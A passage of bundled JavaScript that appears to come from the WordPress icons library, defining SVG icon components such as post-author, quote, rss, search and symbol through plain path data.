  var import_jsx_runtime97 = __toESM(require_jsx_runtime(), 1);
  var position_center_default = /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(import_primitives96.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime97.jsx)(import_primitives96.Path, { d: "M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z" }) });

  // packages/icons/build-module/library/position-left.mjs
  var import_primitives97 = __toESM(require_primitives(), 1);
  var import_jsx_runtime98 = __toESM(require_jsx_runtime(), 1);
  var position_left_default = /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(import_primitives97.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime98.jsx)(import_primitives97.Path, { d: "M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z" }) });

  // packages/icons/build-module/library/position-right.mjs
  var import_primitives98 = __toESM(require_primitives(), 1);
  var import_jsx_runtime99 = __toESM(require_jsx_runtime(), 1);
  var position_right_default = /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(import_primitives98.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime99.jsx)(import_primitives98.Path, { d: "M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z" }) });

  // packages/icons/build-module/library/post-author.mjs
  var import_primitives99 = __toESM(require_primitives(), 1);
  var import_jsx_runtime100 = __toESM(require_jsx_runtime(), 1);
  var post_author_default = /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(import_primitives99.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime100.jsx)(import_primitives99.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M10 4.5a1 1 0 11-2 0 1 1 0 012 0zm1.5 0a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm2.25 7.5v-1A2.75 2.75 0 0011 8.25H7A2.75 2.75 0 004.25 11v1h1.5v-1c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v1h1.5zM4 20h9v-1.5H4V20zm16-4H4v-1.5h16V16z" }) });

  // packages/icons/build-module/library/post-categories.mjs
  var import_primitives100 = __toESM(require_primitives(), 1);
  var import_jsx_runtime101 = __toESM(require_jsx_runtime(), 1);
  var post_categories_default = /* @__PURE__ */ (0, import_jsx_runtime101.jsx)(import_primitives100.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime101.jsx)(import_primitives100.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M20 4H4v1.5h16V4zm-2 9h-3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3zM4 9.5h9V8H4v1.5zM9 13H6c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3z" }) });

  // packages/icons/build-module/library/post-comments-count.mjs
  var import_primitives101 = __toESM(require_primitives(), 1);
  var import_jsx_runtime102 = __toESM(require_jsx_runtime(), 1);
  var post_comments_count_default = /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(import_primitives101.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(import_primitives101.Path, { d: "M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-2.2 6.6H7l1.6-2.2c.3-.4.5-.7.6-.9.1-.2.2-.4.2-.5 0-.2-.1-.3-.1-.4-.1-.1-.2-.1-.4-.1s-.4 0-.6.1c-.3.1-.5.3-.7.4l-.2.2-.2-1.2.1-.1c.3-.2.5-.3.8-.4.3-.1.6-.1.9-.1.3 0 .6.1.9.2.2.1.4.3.6.5.1.2.2.5.2.7 0 .3-.1.6-.2.9-.1.3-.4.7-.7 1.1l-.5.6h1.6v1.2z" }) });

  // packages/icons/build-module/library/post-comments-form.mjs
  var import_primitives102 = __toESM(require_primitives(), 1);
  var import_jsx_runtime103 = __toESM(require_jsx_runtime(), 1);
  var post_comments_form_default = /* @__PURE__ */ (0, import_jsx_runtime103.jsx)(import_primitives102.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime103.jsx)(import_primitives102.Path, { d: "M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-.5 6.6H6.7l-1.2 1.2v-6.3h7v5.1z" }) });

  // packages/icons/build-module/library/post-comments.mjs
  var import_primitives103 = __toESM(require_primitives(), 1);
  var import_jsx_runtime104 = __toESM(require_jsx_runtime(), 1);
  var post_comments_default = /* @__PURE__ */ (0, import_jsx_runtime104.jsx)(import_primitives103.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime104.jsx)(import_primitives103.Path, { d: "M14 10.1V4c0-.6-.4-1-1-1H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1zm-1.5-.5H6.7l-1.2 1.2V4.5h7v5.1zM19 12h-8c-.6 0-1 .4-1 1v6.1c0 .6.4 1 1 1h5.7l1.8 1.8c.1.2.4.3.6.3.1 0 .2 0 .3-.1.4-.1.6-.5.6-.8V13c0-.6-.4-1-1-1zm-.5 7.8l-1.2-1.2h-5.8v-5.1h7v6.3z" }) });

  // packages/icons/build-module/library/post-content.mjs
  var import_primitives104 = __toESM(require_primitives(), 1);
  var import_jsx_runtime105 = __toESM(require_jsx_runtime(), 1);
  var post_content_default = /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_primitives104.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_primitives104.Path, { d: "M4 6h12V4.5H4V6Zm16 4.5H4V9h16v1.5ZM4 15h16v-1.5H4V15Zm0 4.5h16V18H4v1.5Z" }) });

  // packages/icons/build-module/library/post-date.mjs
  var import_primitives105 = __toESM(require_primitives(), 1);
  var import_jsx_runtime106 = __toESM(require_jsx_runtime(), 1);
  var post_date_default = /* @__PURE__ */ (0, import_jsx_runtime106.jsxs)(import_primitives105.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(import_primitives105.Path, { d: "M11.696 13.972c.356-.546.599-.958.728-1.235a1.79 1.79 0 00.203-.783c0-.264-.077-.47-.23-.618-.148-.153-.354-.23-.618-.23-.295 0-.569.07-.82.212a3.413 3.413 0 00-.738.571l-.147-1.188c.289-.234.59-.41.903-.526.313-.117.66-.175 1.041-.175.375 0 .695.08.959.24.264.153.46.362.59.626.135.265.203.556.203.876 0 .362-.08.734-.24 1.115-.154.381-.427.87-.82 1.466l-.756 1.152H14v1.106h-4l1.696-2.609z" }),
    /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(import_primitives105.Path, { d: "M19.5 7h-15v12a.5.5 0 00.5.5h14a.5.5 0 00.5-.5V7zM3 7V5a2 2 0 012-2h14a2 2 0 012 2v14a2 2 0 01-2 2H5a2 2 0 01-2-2V7z" })
  ] });

  // packages/icons/build-module/library/post-excerpt.mjs
  var import_primitives106 = __toESM(require_primitives(), 1);
  var import_jsx_runtime107 = __toESM(require_jsx_runtime(), 1);
  var post_excerpt_default = /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(import_primitives106.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(import_primitives106.Path, { d: "M8.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H4v-3h4.001ZM4 20h9v-1.5H4V20Zm16-4H4v-1.5h16V16ZM13.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H9v-3h4.001Z" }) });

  // packages/icons/build-module/library/post-featured-image.mjs
  var import_primitives107 = __toESM(require_primitives(), 1);
  var import_jsx_runtime108 = __toESM(require_jsx_runtime(), 1);
  var post_featured_image_default = /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(import_primitives107.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime108.jsx)(import_primitives107.Path, { d: "M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z" }) });

  // packages/icons/build-module/library/post-list.mjs
  var import_primitives108 = __toESM(require_primitives(), 1);
  var import_jsx_runtime109 = __toESM(require_jsx_runtime(), 1);
  var post_list_default = /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(import_primitives108.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime109.jsx)(import_primitives108.Path, { d: "M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z" }) });

  // packages/icons/build-module/library/post-terms.mjs
  var import_primitives109 = __toESM(require_primitives(), 1);
  var import_jsx_runtime110 = __toESM(require_jsx_runtime(), 1);
  var post_terms_default = /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(import_primitives109.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(import_primitives109.Path, { d: "M8.1 12.3c.1.1.3.3.5.3.2.1.4.1.6.1.2 0 .4 0 .6-.1.2-.1.4-.2.5-.3l3-3c.3-.3.5-.7.5-1.1 0-.4-.2-.8-.5-1.1L9.7 3.5c-.1-.2-.3-.3-.5-.3H5c-.4 0-.8.4-.8.8v4.2c0 .2.1.4.2.5l3.7 3.6zM5.8 4.8h3.1l3.4 3.4v.1l-3 3 .5.5-.7-.5-3.3-3.4V4.8zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) });

  // packages/icons/build-module/library/preformatted.mjs
  var import_primitives110 = __toESM(require_primitives(), 1);
  var import_jsx_runtime111 = __toESM(require_jsx_runtime(), 1);
  var preformatted_default = /* @__PURE__ */ (0, import_jsx_runtime111.jsx)(import_primitives110.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime111.jsx)(import_primitives110.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 16.5h6V15H7v1.5zm4-4h6V11h-6v1.5zM9 11H7v1.5h2V11zm6 5.5h2V15h-2v1.5z" }) });

  // packages/icons/build-module/library/previous.mjs
  var import_primitives111 = __toESM(require_primitives(), 1);
  var import_jsx_runtime112 = __toESM(require_jsx_runtime(), 1);
  var previous_default = /* @__PURE__ */ (0, import_jsx_runtime112.jsx)(import_primitives111.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime112.jsx)(import_primitives111.Path, { d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z" }) });

  // packages/icons/build-module/library/pull-left.mjs
  var import_primitives112 = __toESM(require_primitives(), 1);
  var import_jsx_runtime113 = __toESM(require_jsx_runtime(), 1);
  var pull_left_default = /* @__PURE__ */ (0, import_jsx_runtime113.jsx)(import_primitives112.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime113.jsx)(import_primitives112.Path, { d: "M4 18h6V6H4v12zm9-9.5V10h7V8.5h-7zm0 7h7V14h-7v1.5z" }) });

  // packages/icons/build-module/library/pull-right.mjs
  var import_primitives113 = __toESM(require_primitives(), 1);
  var import_jsx_runtime114 = __toESM(require_jsx_runtime(), 1);
  var pull_right_default = /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(import_primitives113.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(import_primitives113.Path, { d: "M14 6v12h6V6h-6zM4 10h7V8.5H4V10zm0 5.5h7V14H4v1.5z" }) });

  // packages/icons/build-module/library/pullquote.mjs
  var import_primitives114 = __toESM(require_primitives(), 1);
  var import_jsx_runtime115 = __toESM(require_jsx_runtime(), 1);
  var pullquote_default = /* @__PURE__ */ (0, import_jsx_runtime115.jsx)(import_primitives114.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime115.jsx)(import_primitives114.Path, { d: "M18 8H6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-4c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v4zM4 4v1.5h16V4H4zm0 16h16v-1.5H4V20z" }) });

  // packages/icons/build-module/library/query-pagination-next.mjs
  var import_primitives115 = __toESM(require_primitives(), 1);
  var import_jsx_runtime116 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_next_default = /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(import_primitives115.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(import_primitives115.Path, { d: "M5 13.5h3v-3H5v3zm5 0h3v-3h-3v3zM17 9l-1 1 2 2-2 2 1 1 3-3-3-3z" }) });

  // packages/icons/build-module/library/query-pagination-numbers.mjs
  var import_primitives116 = __toESM(require_primitives(), 1);
  var import_jsx_runtime117 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_numbers_default = /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(import_primitives116.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(import_primitives116.Path, { d: "M4 13.5h6v-3H4v3zm8.2-2.5.8-.3V14h1V9.3l-2.2.7.4 1zm7.1-1.2c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3-.1-.8-.3-1.1z" }) });

  // packages/icons/build-module/library/query-pagination-previous.mjs
  var import_primitives117 = __toESM(require_primitives(), 1);
  var import_jsx_runtime118 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_previous_default = /* @__PURE__ */ (0, import_jsx_runtime118.jsx)(import_primitives117.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime118.jsx)(import_primitives117.Path, { d: "M16 10.5v3h3v-3h-3zm-5 3h3v-3h-3v3zM7 9l-3 3 3 3 1-1-2-2 2-2-1-1z" }) });

  // packages/icons/build-module/library/query-pagination.mjs
  var import_primitives118 = __toESM(require_primitives(), 1);
  var import_jsx_runtime119 = __toESM(require_jsx_runtime(), 1);
  var query_pagination_default = /* @__PURE__ */ (0, import_jsx_runtime119.jsx)(import_primitives118.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime119.jsx)(import_primitives118.Path, { d: "M4 13.5h6v-3H4v3zm8 0h3v-3h-3v3zm5-3v3h3v-3h-3z" }) });

  // packages/icons/build-module/library/quote.mjs
  var import_primitives119 = __toESM(require_primitives(), 1);
  var import_jsx_runtime120 = __toESM(require_jsx_runtime(), 1);
  var quote_default = /* @__PURE__ */ (0, import_jsx_runtime120.jsx)(import_primitives119.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime120.jsx)(import_primitives119.Path, { d: "M13 6v6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H13zm-9 6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H4v6z" }) });

  // packages/icons/build-module/library/remove-submenu.mjs
  var import_primitives120 = __toESM(require_primitives(), 1);
  var import_jsx_runtime121 = __toESM(require_jsx_runtime(), 1);
  var remove_submenu_default = /* @__PURE__ */ (0, import_jsx_runtime121.jsx)(import_primitives120.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime121.jsx)(import_primitives120.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "m13.955 20.748 8-17.5-.91-.416L19.597 6H13.5v1.5h5.411l-1.6 3.5H13.5v1.5h3.126l-1.6 3.5H13.5l.028 1.5h.812l-1.295 2.832.91.416ZM17.675 16l-.686 1.5h4.539L21.5 16h-3.825Zm2.286-5-.686 1.5H21.5V11h-1.54ZM2 12c0 3.58 2.42 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.48 0-4.5-1.52-4.5-4S5.52 7.5 8 7.5h3.5V6H8c-3.58 0-6 2.42-6 6Z" }) });

  // packages/icons/build-module/library/resize-corner-ne.mjs
  var import_primitives121 = __toESM(require_primitives(), 1);
  var import_jsx_runtime122 = __toESM(require_jsx_runtime(), 1);
  var resize_corner_ne_default = /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(import_primitives121.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(import_primitives121.Path, { d: "M7 18h4.5v1.5h-7v-7H6V17L17 6h-4.5V4.5h7v7H18V7L7 18Z" }) });

  // packages/icons/build-module/library/row.mjs
  var import_primitives122 = __toESM(require_primitives(), 1);
  var import_jsx_runtime123 = __toESM(require_jsx_runtime(), 1);
  var row_default = /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(import_primitives122.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(import_primitives122.Path, { d: "M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z" }) });

  // packages/icons/build-module/library/rss.mjs
  var import_primitives123 = __toESM(require_primitives(), 1);
  var import_jsx_runtime124 = __toESM(require_jsx_runtime(), 1);
  var rss_default = /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(import_primitives123.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime124.jsx)(import_primitives123.Path, { d: "M5 10.2h-.8v1.5H5c1.9 0 3.8.8 5.1 2.1 1.4 1.4 2.1 3.2 2.1 5.1v.8h1.5V19c0-2.3-.9-4.5-2.6-6.2-1.6-1.6-3.8-2.6-6.1-2.6zm10.4-1.6C12.6 5.8 8.9 4.2 5 4.2h-.8v1.5H5c3.5 0 6.9 1.4 9.4 3.9s3.9 5.8 3.9 9.4v.8h1.5V19c0-3.9-1.6-7.6-4.4-10.4zM4 20h3v-3H4v3z" }) });

  // packages/icons/build-module/library/search.mjs
  var import_primitives124 = __toESM(require_primitives(), 1);
  var import_jsx_runtime125 = __toESM(require_jsx_runtime(), 1);
  var search_default = /* @__PURE__ */ (0, import_jsx_runtime125.jsx)(import_primitives124.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime125.jsx)(import_primitives124.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });

  // packages/icons/build-module/library/separator.mjs
  var import_primitives125 = __toESM(require_primitives(), 1);
  var import_jsx_runtime126 = __toESM(require_jsx_runtime(), 1);
  var separator_default = /* @__PURE__ */ (0, import_jsx_runtime126.jsx)(import_primitives125.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime126.jsx)(import_primitives125.Path, { d: "M4.5 12.5v4H3V7h1.5v3.987h15V7H21v9.5h-1.5v-4h-15Z" }) });

  // packages/icons/build-module/library/share.mjs
  var import_primitives126 = __toESM(require_primitives(), 1);
  var import_jsx_runtime127 = __toESM(require_jsx_runtime(), 1);
  var share_default = /* @__PURE__ */ (0, import_jsx_runtime127.jsx)(import_primitives126.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime127.jsx)(import_primitives126.Path, { d: "M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z" }) });

  // packages/icons/build-module/library/shortcode.mjs
  var import_primitives127 = __toESM(require_primitives(), 1);
  var import_jsx_runtime128 = __toESM(require_jsx_runtime(), 1);
  var shortcode_default = /* @__PURE__ */ (0, import_jsx_runtime128.jsx)(import_primitives127.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime128.jsx)(import_primitives127.Path, { d: "M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z" }) });

  // packages/icons/build-module/library/sidebar.mjs
  var import_primitives128 = __toESM(require_primitives(), 1);
  var import_jsx_runtime129 = __toESM(require_jsx_runtime(), 1);
  var sidebar_default = /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(import_primitives128.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(import_primitives128.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });

  // packages/icons/build-module/library/site-logo.mjs
  var import_primitives129 = __toESM(require_primitives(), 1);
  var import_jsx_runtime130 = __toESM(require_jsx_runtime(), 1);
  var site_logo_default = /* @__PURE__ */ (0, import_jsx_runtime130.jsx)(import_primitives129.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime130.jsx)(import_primitives129.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm0 1.5c3.4 0 6.2 2.7 6.5 6l-1.2-.6-.8-.4c-.1 0-.2 0-.3-.1H16c-.1-.2-.4-.2-.7 0l-2.9 2.1L9 11.3h-.7L5.5 13v-1.1c0-3.6 2.9-6.5 6.5-6.5Zm0 13c-2.7 0-5-1.7-6-4l2.8-1.7 3.5 1.2h.4s.2 0 .4-.2l2.9-2.1.4.2c.6.3 1.4.7 2.1 1.1-.5 3.1-3.2 5.4-6.4 5.4Z" }) });

  // packages/icons/build-module/library/square.mjs
  var import_primitives130 = __toESM(require_primitives(), 1);
  var import_jsx_runtime131 = __toESM(require_jsx_runtime(), 1);
  var square_default = /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(import_primitives130.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime131.jsx)(import_primitives130.Path, { fill: "none", d: "M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25", stroke: "currentColor", strokeWidth: "1.5", strokeLinecap: "square" }) });

  // packages/icons/build-module/library/stack.mjs
  var import_primitives131 = __toESM(require_primitives(), 1);
  var import_jsx_runtime132 = __toESM(require_jsx_runtime(), 1);
  var stack_default = /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(import_primitives131.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime132.jsx)(import_primitives131.Path, { d: "M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z" }) });

  // packages/icons/build-module/library/symbol-filled.mjs
  var import_primitives132 = __toESM(require_primitives(), 1);
  var import_jsx_runtime133 = __toESM(require_jsx_runtime(), 1);
  var symbol_filled_default = /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(import_primitives132.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime133.jsx)(import_primitives132.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });

  // packages/icons/build-module/library/symbol.mjs
  var import_primitives133 = __toESM(require_primitives(), 1);
  var import_jsx_runtime134 = __toESM(require_jsx_runtime(), 1);
  var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(import_primitives133.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime134.jsx)(import_primitives133.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });

  // packages/icons/build-module/library/tab.mjs
  var import_primitives134 = __toESM(require_primitives(), 1);
